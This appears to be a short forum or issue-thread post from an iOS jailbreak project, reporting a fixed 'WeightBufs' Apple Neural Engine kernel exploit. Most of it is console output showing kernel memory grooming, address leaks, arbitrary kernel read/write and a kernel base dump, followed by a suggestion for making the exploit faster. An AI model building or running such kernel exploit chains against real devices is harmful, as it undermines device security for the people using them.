I fixed WeightBufs.

[ghh-jb]

I fixed WeightBufs.

[ghh-jb]

[ghh-jb]

[+] Loading AppleNeuralEngine framework ...OK
[+] Patching model.hwx with custom initInfo section ... OK
[+] Stage 1: Grooming kernel memory ...
[+] Grooming IOSurface_zone ... OK
[+] Grooming pageable maps ... OK
[+] Grooming kernel_map ... . . . . . OK
[+] Patching model.hwx with custom initInfo section ... OK
[+] Found scratched ShmemID 0x1f6b with size 0x4000
00 40 00 00 00 00 00 00 F0 18 99 19 E2 FF FF FF | .@..............
00 40 89 02 00 00 00 00 80 2B 84 34 E1 FF FF FF | .@.......+.4....
E8 5D E2 18 E2 FF FF FF 00 00 14 0A EC FF FF FF | .]..............
88 FB CE 19 E2 FF FF FF 4B 54 55 4D 01 00 00 00 | ........KTUM....
00 00 00 00 00 00 00 00 | ........
[+] Leaked mutable kernel section (MUTK) buffer 0xffffffec0a140000
[+] Leaked IOSurface object 0xffffffe2199918f0
[+] Kernel location of our input buffer 0xffffffec0a000000
[+] Stage 3: Dumping a memory page from IOSurface_zone
[+] Deduced weightSurface (from IOKitPageableSpace submaps) location 0xffffffec0a154000
[+] Patching model.hwx with custom initInfo section ... OK
[+] Found scratched ShmemID 0x1fb8 with size 0x4000
[+] Found a matching surface-id=0x00c1 IOSurface=0xffffffe2199910a0 !
[+] IOSurfaceClient location 0xffffffe300c0f480
[+] IOSurface location 0xffffffe2199910a0
[+] IOSurfaceRoot 0xffffffe2ffef8400
[+] Stage 4: Performing the arbitrary write primitive ...
[+] Patching model.hwx with custom initInfo section ... OK
[+] Got shmem id 0x1fb8 for 0xffffffec0a000000
[+] Stage 5: Get stable arbitrary kernel read/write .... OK
[+] IOSurfaceRoot vtable 0xfffffff01af84560
[+] kread64([0xfffffff01af84560]) = 0xe5d4d5f01bf0925c
[+] kread64([0xffffffec0a003000]) = 0x4141414100003000
[+] kwrite64(0xffffffec0a003000,0xdeadbeef12345678)
[+] kread64([0xffffffec0a003000]) = 0xdeadbeef12345678
[+] Kernel text base 0xfffffff01a5ec000
CF FA ED FE 0C 00 00 01 02 00 00 C0 02 00 00 00 | ................
1A 00 00 00 40 16 00 00 01 00 20 00 00 00 00 00 | ....@..... .....
19 00 00 00 C8 02 00 00 5F 5F 54 45 58 54 00 00 | ........__TEXT..
00 00 00 00 00 00 00 00 00 C0 5E 1A F0 FF FF FF | ..........^.....
00 80 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 | ...............
00 80 7E 00 00 00 00 00 05 00 00 00 05 00 00 00 | ...............
08 00 00 00 00 00 00 00 5F 5F 63 6F 6E 73 74 00 | ........__const.
system name = Darwin
node name = Unc0ver
release = 21.2.0
version = Darwin Kernel Version 21.2.0: Sun Nov 28 20:43:35 PST 2021; root:xnu-8019.62.2~1/RELEASE_ARM64_T8030
machine = iPhone12,8

[ghh-jb]

@opa334

[ghh-jb]

And add check, that if we found IOSurface_location then exit, so it will fast up exploit.

[ghh-jb]

@opa334